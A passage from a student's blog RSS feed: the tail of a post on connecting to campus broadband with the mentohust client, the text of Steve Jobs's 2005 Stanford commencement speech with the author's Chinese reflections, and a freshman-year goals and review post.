&lt;p&gt;其实，当你成功连上了校园网之后，你只需要一条命令加上一个配置文件就可以顺利连上运营商的宽带了。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;sudo mentohust -f/etc/mentohust/data.mpf -w&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;strong&gt;/etc/mentohust/yidong.mpf 这里只要修改成配置文件的对应路径即可，名字记得要改噢！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于配置文件是学长分享的，所以就不无偿分享了，顺便打个小广告！&lt;/p&gt;
&lt;p&gt;扫描下面二维码，&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15692530581483.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;关注公众号，回复“移动”或“联通”分别获取配置文件下载链接。&lt;/p&gt;</description>
    <pubDate>Fri, 08 Dec 2017 14:47:11 +0800</pubDate>
  </item>
  <item>
    <title>
      Some perceptions after secondly read Steve Jobs‘s speech in Stanford
    </title>
    <link>https://www.0akarma.com/perceptions-steve-jobs.html</link>
    <description>&lt;p&gt;From Stanford Report, June 14, 2005 &lt;/p&gt;
&lt;p&gt;This is the text of the Commencement address by Steve Jobs, CEO of Apple Computer and of Pixar Animation Studios&lt;/p&gt;
&lt;p&gt;Delivered on June 12, 2005.&lt;/p&gt;
&lt;p&gt;I am honored to be with you today at your commencement from one of the finest universities in the world. I never graduated from college. Truth be told, this is the closest I&#x27;ve ever gotten to a college graduation. Today I want to tell you three stories from my life. That&#x27;s it. No big deal. Just three stories.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The first story is about connecting the dots.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I dropped out of Reed College after the first 6 months, but then stayed around as a drop-in for another 18 months or so before I really quit. So why did I drop out?&lt;/p&gt;
&lt;p&gt;It started before I was born. My biological mother was a young, unwed college graduate student, and she decided to put me up for adoption. She felt very strongly that I should be adopted by college graduates, so everything was all set for me to be adopted at birth by a lawyer and his wife. Except that when I popped out they decided at the last minute that they really wanted a girl. So my parents, who were on a waiting list, got a call in the middle of the night asking: &quot;We have an unexpected baby boy; do you want him?&quot; They said: &quot;Of course.&quot; My biological mother later found out that my mother had never graduated from college and that my father had never graduated from high school. She refused to sign the final adoption papers. She only relented a few months later when my parents promised that I would someday go to college.&lt;/p&gt;
&lt;p&gt;And 17 years later I did go to college. But I naively chose a college that was almost as expensive as Stanford, and all of my working-class parents&#x27; savings were being spent on my college tuition. After six months, I couldn&#x27;t see the value in it. I had no idea what I wanted to do with my life and no idea how college was going to help me figure it out. And here I was spending all of the money my parents had saved their entire life. So I decided to drop out and trust that it would all work out OK. It was pretty scary at the time, but looking back it was one of the best decisions I ever made. The minute I dropped out I could stop taking the required classes that didn&#x27;t interest me, and begin dropping in on the ones that looked interesting.&lt;/p&gt;
&lt;p&gt;It wasn&#x27;t all romantic. I didn&#x27;t have a dorm room, so I slept on the floor in friends&#x27; rooms, I returned coke bottles for the 5￠ deposits to buy food with, and I would walk the 7 miles across town every Sunday night to get one good meal a week at the Hare Krishna temple. I loved it. &lt;strong&gt;&lt;em&gt;And much of what I stumbled into by following my curiosity and intuition turned out to be priceless later on.&lt;/em&gt;&lt;/strong&gt; Let me give you one example:&lt;/p&gt;
&lt;p&gt;Reed College at that time offered perhaps the best calligraphy instruction in the country. Throughout the campus every poster, every label on every drawer, was beautifully hand calligraphed. Because I had dropped out and didn&#x27;t have to take the normal classes, I decided to take a calligraphy class to learn how to do this. I learned about serif and san serif typefaces, about varying the amount of space between different letter combinations, about what makes great typography great. It was beautiful, historical, artistically subtle in a way that science can&#x27;t capture, and I found it fascinating.&lt;/p&gt;
&lt;p&gt;None of this had even a hope of any practical application in my life. But ten years later, when we were designing the first Macintosh computer, it all came back to me. And we designed it all into the Mac. It was the first computer with beautiful typography. If I had never dropped in on that single course in college, the Mac would have never had multiple typefaces or proportionally spaced fonts. And since Windows just copied the Mac, its likely that no personal computer would have them. If I had never dropped out, I would have never dropped in on this calligraphy class, and personal computers might not have the wonderful typography that they do. Of course it was impossible to connect the dots looking forward when I was in college. But it was very, very clear looking backwards ten years later.&lt;/p&gt;
&lt;p&gt;Again, you can&#x27;t connect the dots looking forward; you can only connect them looking backwards.&lt;strong&gt;&lt;em&gt;So you have to trust that the dots will somehow connect in your future. You have to trust in something — your gut, destiny, life, karma, whatever. This approach has never let me down, and it has made all the difference in my life.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;My second story is about love and loss.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I was lucky — I found what I loved to do early in life. Woz and I started Apple in my parents garage when I was 20. We worked hard, and in 10 years Apple had grown from just the two of us in a garage into a $2 billion company with over 4000 employees. We had just released our finest creation — the Macintosh — a year earlier, and I had just turned 30. And then I got fired. How can you get fired from a company you started? Well, as Apple grew we hired someone who I thought was very talented to run the company with me, and for the first year or so things went well. But then our visions of the future began to diverge and eventually we had a falling out. When we did, our Board of Directors sided with him. So at 30 I was out. And very publicly out. What had been the focus of my entire adult life was gone, and it was devastating.&lt;/p&gt;
&lt;p&gt;I really didn&#x27;t know what to do for a few months. I felt that I had let the previous generation of entrepreneurs down - that I had dropped the baton as it was being passed to me. I met with David Packard and Bob Noyce and tried to apologize for screwing up so badly. I was a very public failure, and I even thought about running away from the valley. But something slowly began to dawn on me — I still loved what I did. The turn of events at Apple had not changed that one bit. I had been rejected, but I was still in love. And so I decided to start over.&lt;/p&gt;
&lt;p&gt;I didn&#x27;t see it then, but it turned out that getting fired from Apple was the best thing that could have ever happened to me. The heaviness of being successful was replaced by the lightness of being a beginner again, less sure about everything. It freed me to enter one of the most creative periods of my life.&lt;/p&gt;
&lt;p&gt;During the next five years, I started a company named NeXT, another company named Pixar, and fell in love with an amazing woman who would become my wife. Pixar went on to create the worlds first computer animated feature film, Toy Story, and is now the most successful animation studio in the world. In a remarkable turn of events, Apple bought NeXT, I returned to Apple, and the technology we developed at NeXT is at the heart of Apple&#x27;s current renaissance. And Laurene and I have a wonderful family together.&lt;/p&gt;
&lt;p&gt;I&#x27;m pretty sure none of this would have happened if I hadn&#x27;t been fired from Apple. It was awful tasting medicine, but I guess the patient needed it. &lt;strong&gt;&lt;em&gt;Sometimes life hits you in the head with a brick.&lt;/em&gt;&lt;/strong&gt; Don&#x27;t lose faith. &lt;strong&gt;&lt;em&gt;I&#x27;m convinced that the only thing that kept me going was that I loved what I did. You&#x27;ve got to find what you love. And that is as true for your work as it is for your lovers.&lt;/em&gt;&lt;/strong&gt; Your work is going to fill a large part of your life, and the only way to be truly satisfied is to do what you believe is great work. &lt;strong&gt;&lt;em&gt;And the only way to do great work is to love what you do.&lt;/em&gt;&lt;/strong&gt; If you haven&#x27;t found it yet, keep looking. Don&#x27;t settle. As with all matters of the heart, you&#x27;ll know when you find it. &lt;strong&gt;&lt;em&gt;And, like any great relationship, it just gets better and better as the years roll on.&lt;/em&gt;&lt;/strong&gt; So keep looking until you find it. Don&#x27;t settle.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;My third story is about death.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When I was 17, I read a quote that went something like: &lt;strong&gt;&lt;em&gt;&quot;If you live each day as if it was your last, someday you&#x27;ll most certainly be right.&quot;&lt;/em&gt;&lt;/strong&gt; It made an impression on me, and since then, for the past 33 years, I have looked in the mirror every morning and asked myself: &quot;If today were the last day of my life, would I want to do what I am about to do today?&quot; And whenever the answer has been &quot;No&quot; for too many days in a row, I know I need to change something.&lt;/p&gt;
&lt;p&gt;Remembering that I&#x27;ll be dead soon is the most important tool I&#x27;ve ever encountered to help me make the big choices in life. &lt;strong&gt;&lt;em&gt;Because almost everything — all external expectations, all pride, all fear of embarrassment or failure - these things just fall away in the face of death, leaving only what is truly important.&lt;/em&gt;&lt;/strong&gt; Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart.&lt;/p&gt;
&lt;p&gt;About a year ago I was diagnosed with cancer. I had a scan at 7:30 in the morning, and it clearly showed a tumor on my pancreas. I didn&#x27;t even know what a pancreas was. The doctors told me this was almost certainly a type of cancer that is incurable, and that I should expect to live no longer than three to six months. My doctor advised me to go home and get my affairs in order, which is doctor&#x27;s code for prepare to die. It means to try to tell your kids everything you thought you&#x27;d have the next 10 years to tell them in just a few months. It means to make sure everything is buttoned up so that it will be as easy as possible for your family. It means to say your goodbyes.&lt;/p&gt;
&lt;p&gt;I lived with that diagnosis all day. Later that evening I had a biopsy, where they stuck an endoscope down my throat, through my stomach and into my intestines, put a needle into my pancreas and got a few cells from the tumor. I was sedated, but my wife, who was there, told me that when they viewed the cells under a microscope the doctors started crying because it turned out to be a very rare form of pancreatic cancer that is curable with surgery. I had the surgery and I&#x27;m fine now.&lt;/p&gt;
&lt;p&gt;This was the closest I&#x27;ve been to facing death, and I hope its the closest I get for a few more decades. Having lived through it, I can now say this to you with a bit more certainty than when death was a useful but purely intellectual concept:&lt;/p&gt;
&lt;p&gt;No one wants to die. Even people who want to go to heaven don&#x27;t want to die to get there. And yet death is the destination we all share. No one has ever escaped it. And that is as it should be, because Death is very likely the single best invention of Life. It is Life&#x27;s change agent. It clears out the old to make way for the new. Right now the new is you, but someday not too long from now, you will gradually become the old and be cleared away. Sorry to be so dramatic, but it is quite true.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Your time is limited, so don&#x27;t waste it living someone else&#x27;s life.&lt;/em&gt;&lt;/strong&gt; Don&#x27;t be trapped by dogma — which is living with the results of other people&#x27;s thinking. Don&#x27;t let the noise of others&#x27; opinions drown out your own inner voice. &lt;strong&gt;&lt;em&gt;And most important, have the courage to follow your heart and intuition.&lt;/em&gt;&lt;/strong&gt; They somehow already know what you truly want to become. Everything else is secondary.&lt;/p&gt;
&lt;p&gt;When I was young, there was an amazing publication called The Whole Earth Catalog, which was one of the bibles of my generation. It was created by a fellow named Stewart Brand not far from here in Menlo Park, and he brought it to life with his poetic touch. This was in the late 1960&#x27;s, before personal computers and desktop publishing, so it was all made with typewriters, scissors, and polaroid cameras. It was sort of like Google in paperback form, 35 years before Google came along: it was idealistic, and overflowing with neat tools and great notions.&lt;/p&gt;
&lt;p&gt;Stewart and his team put out several issues of The Whole Earth Catalog, and then when it had run its course, they put out a final issue. It was the mid-1970s, and I was your age. On the back cover of their final issue was a photograph of an early morning country road, the kind you might find yourself hitchhiking on if you were so adventurous. Beneath it were the words: &lt;strong&gt;&lt;em&gt;&quot;Stay Hungry. Stay Foolish.&quot;&lt;/em&gt;&lt;/strong&gt; It was their farewell message as they signed off. Stay Hungry. Stay Foolish. And I have always wished that for myself. And now, as you graduate to begin anew, I wish that for you.&lt;/p&gt;
&lt;p&gt;Stay Hungry. Stay Foolish.&lt;/p&gt;
&lt;p&gt;Thank you all very much.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731822184082.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;perceptions&quot;&gt;Perceptions&lt;/h2&gt;
&lt;h3 id=&quot;_1&quot;&gt;虽然有时候自己的好奇心或直觉会让自己陷入窘境，但是后来事实证明，这些经历都是无价的。&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I loved it.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;And much of what I stumbled into by following my curiosity and intuition turned out to be priceless later on.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我跟着我的直觉和好奇心走, 遇到的很多东西,此后被证明是无价之宝。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;_2&quot;&gt;随着年龄的增长，对各种事物的看法就会发生微妙的变化。&lt;/h3&gt;
&lt;h3 id=&quot;_3&quot;&gt;对我而言：做啥事，何必过分在意别人的言语，走自己的路，因果早已埋下，问心无愧足矣。&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Again, you can&#x27;t connect the dots looking forward; you can only connect them looking backwards.&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当然我在大学的时候，还不可能把从前的点点滴滴串连起来,但是当我十年后回顾这一切的时候,真的豁然开朗了。 &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;So you have to trust that the dots will somehow connect in your future. You have to trust in something — your gut, destiny, life, karma, whatever. This approach has never let me down, and it has made all the difference in my life.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;再次说明的是,你在向未来展望的时候不可能将这些片断串连起来，你只能在回顾的时候串起他们。所以你必须相信这些片断会在你未来的某一天串连起来，你必须要相信某些东西：你的勇气、目的、生命、因缘……这个过程从来没有令我失望,只是让我的生命更加地与众不同。 &lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;_4&quot;&gt;没有谁的一生是一帆风顺的，所以总会碰到不如意的事情，或许这就是“天将降大任于斯人也，必先苦其心志，劳其筋骨，饿其体肤，空乏其身，行指乱其所为，所以动心忍性，曾益其所不能“？&lt;/h3&gt;
&lt;h3 id=&quot;_5&quot;&gt;我也希望“唯一使我一直走下去的，就是我做的事情令我无比钟爱“。&lt;/h3&gt;
&lt;h3 id=&quot;_6&quot;&gt;自我认同是一剂良药。&lt;/h3&gt;
&lt;h3 id=&quot;randy-pauschwhen-it-comes-to-someone-who-is-romantically-interested-in-you-just-igore-everything-he-says-and-only-pay-attention-to-what-he-did-so&quot;&gt;想起了Randy Pausch的《最后一课》上的一句话&lt;em&gt;“When it comes to someone who is romantically interested in you, just igore everything he says and only pay attention to what he did.&quot;&lt;/em&gt;  So，任何敌不过时间考验的海誓山盟都是一派胡言！&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Sometimes life hits you in the head with a brick.&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Don&#x27;t lose faith.&lt;/em&gt; &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有些时候, 生活会拿起一块砖头向你的脑袋上猛拍一下，不要失去信仰。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;I&#x27;m convinced that the only thing that kept me going was that I loved what I did. You&#x27;ve got to find what you love. And that is as true for your work as it is for your lovers.&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我很清楚唯一使我一直走下去的，就是我做的事情令我无比钟爱。你需要去找到你所爱的东西。对于工作是如此, 对于你的爱人也是如此。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;And the only way to do great work is to love what you do.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你只有相信自己所做的是伟大的工作, 你才能怡然自得。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;And, like any great relationship, it just gets better and better as the years roll on.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;就像任何真诚的关系, 随着岁月的流逝只会越来越紧密。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;_7&quot;&gt;这或许有点难，但是，朝着这个方向努力吧！&lt;/h3&gt;
&lt;h3 id=&quot;_8&quot;&gt;生命是宝贵的，死后就算你拥有万贯家财，你也无法带到下面去用，及时行善，及时行乐。&lt;/h3&gt;
&lt;h3 id=&quot;_9&quot;&gt;当自己患得患失时，让“记住你即将死去”回荡在你的脑海里，你就会释怀。&lt;/h3&gt;
&lt;h3 id=&quot;_10&quot;&gt;不必羡慕别人的生活，每个人都是独一无二的。&lt;/h3&gt;
&lt;h3 id=&quot;_11&quot;&gt;聆听自己内心的声音，做最真实的自己，做自己想成为的自己 。&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;&quot;If you live each day as if it was your last, someday you&#x27;ll most certainly be right.&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;”如果你把每一天都当作生命中最后一天去生活的话,那么有一天你会发现你是正确的。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Remembering that I&#x27;ll be dead soon is the most important tool I&#x27;ve ever encountered to help me make the big choices in life. &lt;strong&gt;&lt;em&gt;Because almost everything — all external expectations, all pride, all fear of embarrassment or failure - these things just fall away in the face of death, leaving only what is truly important.&lt;/em&gt;&lt;/strong&gt; Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart.&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“记住你即将死去”是我一生中遇到的最重要箴言。它帮我指明了生命中重要的选择。因为几乎所有的事情, 包括所有的荣誉、所有的骄傲、所有对难堪和失败的恐惧,这些在死亡面前都会微不足道。我看到的是留下的真正重要的东西。你有时候会思考你将会失去某些东西, “记住你即将死去”是我知道的避免这些想法的最好办法。如果你清空一切, 你没有理由不去跟随自己内心的声音。 &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Your time is limited, so don&#x27;t waste it living someone else&#x27;s life.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你们的时间很有限, 所以不要将他们浪费在重复其他人的生活上。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;And most important, have the courage to follow your heart and intuition.&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;They somehow already know what you truly want to become. Everything else is secondary.&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;还有最重要的是, 你要有勇气去听从你直觉和心灵的指示——它们在某种程度上知道你想要成为什么样子，所有其他的事情都是次要的。 &lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;stay-hungry-stay-foolish&quot;&gt;Stay Hungry. Stay Foolish.&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731822394319.jpg&quot;&gt;&lt;/p&gt;</description>
    <pubDate>Sun, 03 Dec 2017 16:00:00 +0800</pubDate>
  </item>
  <item>
    <title>
      It&#x27;s time to set Flags in Freshman Year (完结)
    </title>
    <link>https://www.0akarma.com/freshman-flags.html</link>
    <description>&lt;h3 id=&quot;in-my-freshman-year&quot;&gt;In my freshman year:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;❌要考试的科目均分&amp;gt;=90&lt;br&gt;
  ​ Include：公共课（高数、线代、英语、计算机基础……）、专业课   &lt;/li&gt;
&lt;li&gt;❓Skills TOP 10 of whole grade&lt;br&gt;
     ✔️自学Python、C、Web漏洞类型、读几本技术书    &lt;ul&gt;
&lt;li&gt;《白帽子讲Web安全》&lt;/li&gt;
&lt;li&gt;《Python网络数据采集》&lt;/li&gt;
&lt;li&gt;《》&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;❌High Mark pass CET4、CET6（没上600...）&lt;/li&gt;
&lt;li&gt;✔️社团活动(好像完成的差不多了QAQ)—&amp;gt;提升个人魅力、各项能力&lt;/li&gt;
&lt;li&gt;✔️拿到驾照&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2018.7 完结&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这一年。。。事情很多。。。有时候处理不过来，或者有一些东西水过去了。现在总算体会到”人的精力是有限的“这一说法了，刚大一时，初生牛犊不怕虎，怀着干一番“事业”的动力，啥事都想往里插一手（就如一开始又想去舞蹈队，又想去文艺部，结果后来我还是只留在了协会）。&lt;/p&gt;
&lt;p&gt;有时候做事情还是要量力而行。尽管很忙 ，但其实是很充实的，赚了第一篇稿费，做了第一个项目……&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2 id=&quot;_1&quot;&gt;————华丽的分割线————&lt;/h2&gt;
&lt;h2 id=&quot;_2&quot;&gt;大一上&lt;/h2&gt;
&lt;p&gt;从开学到11月底，几乎每天都是早出晚归的节奏：&lt;br&gt;
早上6.40起床刷牙洗脸—&amp;gt;跑操&lt;br&gt;
……&lt;br&gt;
晚自习21:10结束—&amp;gt;23：10排练演出节目—&amp;gt;回寝室&lt;br&gt;
当一切收拾好，瘫坐在床上的时候，发现已经过了12点了。有时候才想起我的高数/线代好像。。。。还没有。。写完！然后又爬起来，挑灯夜读。。。&lt;br&gt;
虽然这段时间累是累了点，但是让我如愿以偿地登上了迎新晚会的舞台，为几个协会的活动友情演出了一波，还客串了一下“新光大道”才艺大赛。对于一个舞者来说，何必去在意上台前苦练的心酸，当自己站在舞台上，被彩灯、追光灯亮瞎了眼的时候，什么心酸痛苦，早已忘得一干二净，只剩下享受舞台的自己！&lt;br&gt;
在这繁忙、充实的生活中，其实还去打了Geek和班级对抗赛，虽然两次成绩都还可以，但是都是有身边dalao们的帮助。作为一个小白，当你真正去打比赛时，你就会发现自己的路还长，总会有一些脑洞大开而且还要用你没有学过的东西去答题，因此着对学习能力的要求就很高（尤其是快速学习的能力）。&lt;br&gt;
&lt;br&gt;&lt;br&gt;
总的来说，这段时间，累并快乐着，因为——干着自己爱干的事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;经过重重筛选淘汰，登上了迎新晚会的舞台&lt;/li&gt;
&lt;li&gt;搭起了自己的&lt;a href=&quot;http://karmaof.me/&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;拉丁舞协会的宣传工作（Logo重新设计、微信公众号、视频编辑整理）&lt;/li&gt;
&lt;li&gt;Web SKill Learning —&amp;gt;SQL Injection、XSS&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;br&gt;&lt;br&gt;
还认识了有趣的童鞋和深藏不露的dalao们，也结识了一群兴趣相投的小可爱们(｡◕ˇ∀ˇ◕）&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;h2 id=&quot;_3&quot;&gt;————华丽的分割线————&lt;/h2&gt;
&lt;p&gt;总结完了前段时间的快乐与收获，也该说些沉重的话题了……&lt;/p&gt;
&lt;p&gt;工程导论的结课作业除了答辩就是写大学四年人生规划，人生规划课老师节节课离不开提醒我们设立小目标、规划自己的学习生活、情感生活……（毕竟她本人就是靠着实现这一年又一年的目标，达到今天的成就）&lt;br&gt;
&lt;br&gt;&lt;br&gt;
其实也不无道理，没有规划，人就没有动力；没有目标，人就容易散漫。&lt;br&gt;
&lt;br&gt;&lt;br&gt;
寝室里，还真不是一个学习的好地方，不是打游戏就是煲剧……所以我选择泡图书馆……&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;p&gt;前几天看到一篇CET6模拟的英语作文题：是选择保证未来光明的工作还是感兴趣的工作&lt;/p&gt;
&lt;p&gt;于我来说，二者是可以得兼的（虽然在考场上我会选择写后者），因为当年我听完习大大&quot;没有网络安全就没有国家安全&quot;的演讲，我就觉得Information Security是一个前途光明的工作，于是，在我略微了解之后，Information Security就成了我感兴趣的专业，于是就顺理成章的入了门……&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;br&gt;
扯远了扯远了(￣∇￣)&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;人，总是要活在压力下，才会不断地鞭笞自己向前……&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2 id=&quot;_4&quot;&gt;大一下&lt;/h2&gt;
&lt;p&gt;渐渐踏进安全的圈子，但是越往前走，发现自己需要进步、需要学习的地方还有很多。&lt;/p&gt;
&lt;p&gt;才大一，我已经觉得自己过上了大二满课的生活。。每天大概睡五个半小时，简直不要太爽！！&lt;/p&gt;
&lt;p&gt;为了拥有一口 fluent and native English，雷打不动地早上6.20起床早读（简直比当年高三的自己还猛）。&lt;/p&gt;
&lt;p&gt;对于学校的课，我始终在想，怎么样才既能自己学好，又能让绩点不低。一个学期3/4的课勤勤恳恳，认认真真的听、完成作业，终究敌不过“水军”们。难道我也要被同化才能让我的绩点离4近一些？&lt;/p&gt;
&lt;p&gt;奉上《工程导论》大学四年人生规划思维导图，警醒自己，也希望大家监督！&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731819940356.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;_5&quot;&gt;坚持你所热爱的，热爱你所坚持的，剩下的，交给时间就好。&lt;/h2&gt;</description>
    <pubDate>Sun, 03 Dec 2017 01:27:56 +0800</pubDate>
  </item>
</channel>
</rss>